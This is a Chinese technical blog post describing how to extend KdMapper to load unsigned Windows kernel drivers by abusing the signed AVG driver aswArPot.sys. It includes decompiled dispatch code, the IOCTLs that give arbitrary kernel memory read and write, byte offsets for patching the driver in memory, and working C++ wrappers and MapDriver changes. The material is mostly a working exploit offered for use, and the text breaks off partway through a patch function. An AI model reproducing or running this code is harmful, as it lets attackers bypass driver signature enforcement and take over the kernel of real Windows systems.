首页 > 其他分享 >KdMapper扩展实现之AVG(aswArPot.sys)

KdMapper扩展实现之AVG(aswArPot.sys)

时间:2023-10-16 11:35:39浏览次数:52  
标签:__ return sys KdMapper result pInputBuffer MEMORY AVG ASWARPOT

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 aswArPot.sys 
时间戳 5FC5F955
MD5 A22626FEBC924EB219A953F1EE2B9600
文件版本 20.10.171.0
设备名称 \\.\avgSP_Avar
读取内存 0x9989C028
写入内存 0x9989C034
Windows 7 支持
Windows 10 22H2(包含) 及以下
Windows 11 22621(包含)及以下

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        _security_init_cookie();
        return InitializeDriver(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        __int64 retaddr; // [rsp+0h] [rbp+0h]

        qword_14004D9A8 = retaddr;
        return InitializeDriverImpletementation(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
  ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
  struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF

  PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
  dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
  if ( (unsigned int)dword_14002A214 < 0x501 )
    return 3221225473i64;
  strcpy((char *)&dword_14002A308, "201111");
  VersionInformation.dwOSVersionInfoSize = 276;
  if ( RtlGetVersion(&VersionInformation) >= 0
    && (VersionInformation.dwMajorVersion > 6
     || VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
  {
    PoolType = 512;
    dword_1400289B8 = 0x40000000;
  }
  sub_140020AB4(RegistryPath);
  sub_140020BA0(RegistryPath);
  CreateAvarDevice(DriverObject);
  sub_140015AF8();
  if ( !(unsigned int)CreateDevice(DriverObject) )
    sub_140020FA8();
  return 0i64;
}

 

3.2 创建设备和符号链接

__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
{
  const wchar_t *szArPotDeviceName; // rdi
  __int64 result; // rax
  NTSTATUS ntStatus; // edi
  _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DriverObject = pDriverObject;
  szArPotDeviceName = L"aswSP_ArPot2";
  if ( !g_bAswDevice )
    szArPotDeviceName = L"avgSP_ArPot2";
  _snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
  _snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x7299u,
             256,
             1,
             (PUNICODE_STRING)L"68",
             0i64,
             &DeviceObject);
  if ( (int)result >= 0 )
  {
    ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( ntStatus >= 0 )
    {
      memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(DeviceObject);
      result = (unsigned int)ntStatus;
    }
  }
  return result;
}

__int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
{
  __int64 result; // rax
  const wchar_t *szAvarDeviceName; // r9
  __int64 v4; // rcx
  __int16 v5; // ax
  __int64 v6; // rcx
  __int16 v7; // ax
  __int64 v8; // rcx
  __int16 v9; // ax
  __int64 v10; // rcx
  char v11; // al
  ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
  ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
  _UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
  char v16[16]; // [rsp+80h] [rbp-61h] BYREF
  int v17[6]; // [rsp+90h] [rbp-51h]
  __int16 v18; // [rsp+A8h] [rbp-39h]
  int v19[8]; // [rsp+B0h] [rbp-31h]
  __int16 v20; // [rsp+D0h] [rbp-11h]
  int v21[9]; // [rsp+D8h] [rbp-9h]
  __int16 v22; // [rsp+FCh] [rbp+1Bh]

  g_AvarDeviceObject = 0i64;
  PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
  nOsVersion = MinorVersion | (MajorVersion << 8);
  if ( (unsigned int)nOsVersion < 0x500 )
    return 0xC0000001i64;
  szAvarDeviceName = L"aswSP_Avar";
  if ( !g_bAswDevice )
    szAvarDeviceName = L"avgSP_Avar";
  g_szAvarDeviceName = (__int64)szAvarDeviceName;
  _snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
  _snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x9988u,
             256,
             0,
             (PUNICODE_STRING)L"68",
             0i64,
             &g_AvarDevice);
  g_ntStatus = result;
  if ( (int)result >= 0 )
  {
    g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( g_ntStatus >= 0 )
    {
      g_AvarDeviceObject = g_AvarDevice;
      v4 = 0i64;
      v19[0] = 'F\0\\';
      v19[1] = 7077993;
      v19[2] = 7536741;
      v19[3] = 7536761;
      v19[4] = 6619252;
      v19[5] = 6029421;
      v19[6] = 7602254;
      v19[7] = 7536742;
      v20 = 0;
      v17[0] = 4456540;
      v17[1] = 6881394;
      v17[2] = 6619254;
      v17[3] = 6029426;
      v17[4] = 6881348;
      v17[5] = 7012467;
      v18 = 0;
      v21[0] = 7274569;
      v21[1] = 4391014;
      v21[2] = 7143535;
      v21[3] = 7078000;
      v21[4] = 7602277;
      v21[5] = 5374053;
      v21[6] = 7405669;
      v21[7] = 6619253;
      v21[8] = 7602291;
      v22 = 0;
      strcpy(v16, "CLASSPNP.SYS");
      do
      {
        v5 = *(_WORD *)((char *)v19 + v4);
        *(_WORD *)(v4 + 0x14004D040i64) = v5;
        v4 += 2i64;
      }
      while ( v5 );
      v6 = 0i64;
      do
      {
        v7 = *(_WORD *)((char *)v17 + v6);
        *(_WORD *)(v6 + 0x14004D120i64) = v7;
        v6 += 2i64;
      }
      while ( v7 );
      v8 = 0i64;
      do
      {
        v9 = *(_WORD *)((char *)v21 + v8);
        *(_WORD *)(v8 + 0x14004D3A0i64) = v9;
        v8 += 2i64;
      }
      while ( v9 );
      v10 = 0i64;
      do
      {
        v11 = v16[v10];
        *(_BYTE *)(v10 + 0x14004D380i64) = v11;
        ++v10;
      }
      while ( v11 );
      stru_14004D0E0.Count = 1;
      qword_1400289D8 = (__int64)&qword_1400289D0;
      qword_1400289D0 = &qword_1400289D0;
      stru_14004D0E0.Owner = 0i64;
      stru_14004D0E0.Contention = 0;
      KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
      sub_140019CB4();
      sub_14001C130();
      qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
      qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
      sub_14001C7F8(L"IofCompleteRequest");
      sub_14001A24C();
      sub_14001FC24();
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(g_AvarDevice);
      result = (unsigned int)g_ntStatus;
    }
  }
  return result;
}

  创建设备有两个,需要分析的是 CreateAvarDevice,其创建的设备名是 aswSP_Avar 或 avgSP_Avar,实际中根据驱动安装逻辑创建的是 avgSP_Avar。

 

3.3 MainDispatch

NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
        pRequestDeviceObject = pDeviceObject;
        ......    

        if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
        {
                if (pIrp->RequestorMode)
                {
                        if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
                        {
                                if (CheckAvarDeviceIoControlProcess)
                                {
                                        v18 = IoGetRequestorProcessId(pIrp);
                                        if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
                                        {
                                        LABEL_17:
                                                pIrp->IoStatus.Status = 0xC00000BB;
                                                IofCompleteRequest(pIrp, 0);
                                                return 0xC00000BB;
                                        }
                                }
                        }
                }
                result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
        }
        else
        {
                ......
        }
        return result;
}

__int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rcx
        IO_STATUS_BLOCK* pIoStatus; // r11
        unsigned int ntStatus; // edi
        PVOID pInputBuffer; // rdx
        PVOID pOutputBuffer; // r9
        __int64 nInputBufferLength; // r8
        int nIoControlCode; // er10

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pIoStatus = &pIrp->IoStatus;
        ntStatus = 0;
        pIrp->IoStatus.Information = 0i64;
        pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
        pIoStatus->Status = 0;
        pOutputBuffer = pInputBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (pIosp->MajorFunction == 2)
        {
                sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
                sub_140017CF8(&dword_14004D440);
        }
        else if (pIosp->MajorFunction == 14)
        {
                if ((nIoControlCode & 3) == 3)
                        pOutputBuffer = pIrp->UserBuffer;
                ntStatus = AvarDeviceIoControl(
                        pIosp->FileObject,
                        pInputBuffer,
                        nInputBufferLength,
                        pOutputBuffer,
                        pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                        nIoControlCode,
                        pIoStatus,
                        pDeviceObject);
        }
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

__int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
{
        ......
        NTSTATUS ntStatusV44; // eax

        if (nIoControlCode != 0x9988C044)
        {
                ......
                switch (nIoControlCode)
                {
                        ......
                        default:
                                ntStatusV44 = AvarDefaultDeviceIoControl(
                                        pFileObject,
                                        (ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
                                        nInputBufferLength,
                                        pOutputBuffer,
                                        nOutputBufferLength,
                                        nIoControlCode,
                                        pIoStatus);
                                goto LABEL_215;
                }
                ntStatusV44 = 0xC0000206;
                goto LABEL_215;
        }
 
        return result;
}

__int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
{
        size_t nInputBufferLengthV8; // r13
        _OWORD* nOutputBufferV9; // r15
        PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF


        P[2] = pInputBuffer;
        nInputBufferLengthV8 = nInputBufferLength;
        nOutputBufferV9 = pOutputBuffer;
        P[3] = pOutputBuffer;
        P[1] = pIoStatus;
        LODWORD(P[0]) = 0;
        
        if (nIoControlCode != 0x9989C020)
        {
                switch (nIoControlCode)
                {
                        ......
                        case 0x9989C028:
                                if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                if (nOutputBufferLength < 4 || !pOutputBuffer)
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                P[0] = pInputBuffer->ReadSourceAddress;
                                if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
                                {
                                        CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
                                        pIoStatus->Information = nOutputBufferLength;
                                        pIoStatus->Status = 0;
                                        return 0i64;
                                }
                                pIoStatus->Status = 0xC000000D;
                                break;
                        case 0x9989C034:
                                if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
                                {
                                        if (MmIsAddressValid(pInputBuffer->DestinationAddress)
                                                && MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
                                        {
                                                CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
                                                pIoStatus->Status = 0;
                                                pIoStatus->Information = 0i64;
                                                result = 0i64;
                                        }
                                        else
                                        {
                                                result = 0xC000000Di64;
                                                pIoStatus->Status = 0xC000000D;
                                                pIoStatus->Information = 0i64;
                                        }
                                }
                                else
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                }
                                return result;
                        case 0x9989C02C:
                                ......
                        }
                return sub_1400182E8(
                        (__int64)pFileObject,
                        (unsigned int*)pInputBuffer,
                        nInputBufferLengthV8,
                        nOutputBufferV9,
                        nOutputBufferLength,
                        nIoControlCode,
                        pIoStatus);
        }
       
        return result;
}

  其中 0x9989C028 是读取内存,0x9989C034为写入内存。

  代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,参见《4.1 读取内存限制》

  代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》

 

 3.4 CopyMemoryWithSourceMdl

__int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMDL; // rax
        _MDL* pMdl2; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntSatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
        pMdl2 = pMDL;
        SpinLock[1] = (KSPIN_LOCK)pMDL;
        if (!pMDL)
                return 0xC000009Ai64;
        if ((pMDL->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(DestinationAddress, pMappedAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntSatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdl2);
        }
        else
        {
                ntSatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdl2);
        IoFreeMdl(pMdl2);
        return ntSatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

 

3.5 CopyMemoryWithDestinaionMdl

__int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMdl; // rax
        _MDL* pMdlMapped; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntStatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
        pMdlMapped = pMdl;
        SpinLock[1] = (KSPIN_LOCK)pMdl;
        if (!pMdl)
                return 0xC000009Ai64;
        if ((pMdl->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(pMappedAddress, SourceAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntStatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdlMapped);
        }
        else
        {
                ntStatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdlMapped);
        IoFreeMdl(pMdlMapped);
        return ntStatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

 

3.6 _ASWARPOT_COPY_MEMORY_INFO结构体

00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
00000000 ReadSourceAddress dq ?                  ; offset
00000008 DestinationAddress dq ?                 ; offset
00000010 Size            dd ?
00000014 Buffer          db 4 dup(?)
00000018 _ASWARPOT_COPY_MEMORY_INFO ends

 

4.相关逻辑分析及修改

4.1 读取内存限制

  在《3.3 MainDispatch》代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,

  实现代码如下:

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028

typedef struct _ASWARPOT_COPY_MEMORY_INFO
{
    PVOID ReadSourceAddress;
    PVOID DestinationAddress;
    ULONG Size;
    BYTE  Buffer[4];
}ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

 

4.2 写入内存地址范围验证

  在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。

  实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败,这时我们可以将分配的内存扩大,实际复制数据时使用原始大小,修改后的相关代码如下:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) 
{
    ......
    void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!local_image_base)
		return 0;

	DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
	image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);

	uint64_t kernel_image_base = 0;
	uint64_t mdlptr = 0;
	//因为校验时的边界设置错误,故分配时的大小加一个页面,使用时按原大小
	if (mdlMode) {
		
		kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
	}
	else {
		kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
	}
    ......
}

 

4.3 锁定页面参数修改

  在《3.4 CopyMemoryWithSourceMdl》《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess,即 2,这样会导致映射不可写内存页面时失败,应该改为IoReadAccess,也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后,内存已经变为可读可写了,之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。 

4.3.1 CopyMemoryWithSourceMdl 修改 

  IDA 定位如下:

.text:000000014001DD97                         loc_14001DD97:                          ; DATA XREF: .rdata:0000000140027550↓o
.text:000000014001DD97 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DD99 44 8D 42 02                             lea     r8d, [rdx+2]
.text:000000014001DD9D 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DDA0 FF 15 BA 62 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DD99 处的机器码修改为 44 80 42 00,也即将 000000014001DD9C 对应的字节改为 0。 

  000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DD9C 处字节修改为0。

4.3.2 CopyMemoryWithDestinaionMdl 修改

  IDA 定位如下:

.text:000000014001DEB3                         loc_14001DEB3:                          ; DATA XREF: .rdata:000000014002757C↓o
.text:000000014001DEB3 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DEB5 44 8D 42 02                             lea     r8d, [rdx+2]    ; Operation
.text:000000014001DEB9 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DEBC FF 15 9E 61 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DEB5 处的机器码修改为 44 80 42 00,也即将 000000014001DEB8 对应的字节改为 0。 

  000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DEB8 处字节修改为0。

4.3.3 相关代码

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

 

5.完整关键代码

  头文件

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D

#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
#define IOCTL_ASWARPOT_WRITE_MEMORY    \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

typedef struct _ASWARPOT_COPY_MEMORY_INFO
        {
                PVOID ReadSourceAddress;
                PVOID DestinationAddress;
                ULONG Size;
                BYTE  Buffer[4];
        }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

  CPP文件

NTSTATUS avg_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;
        if (!NT_SUCCESS(ntStatus))
        {
                Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
        }
        return ntStatus;
}


BOOL avg_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
        PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
        if (!pInfo)
        {
                Log(L"[-]WriteMemory malloc failed\r\n");
                return false;
        }
        RtlZeroMemory(pInfo, ulSize);
        pInfo->DestinationAddress = (PVOID)address;
        pInfo->Size = size;
        RtlCopyMemory(&pInfo->Buffer, buffer, size);

        bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
        free(pInfo);
        if (!bResult)
        {
                Log(L"[-] WriteMemory failed\r\n");
        }
        return bResult;
}

bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
        if (!address || !buffer || !size)
                return false;


        bool result = WriteMemory(device_handle, address, buffer, size);

        return result;
}

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
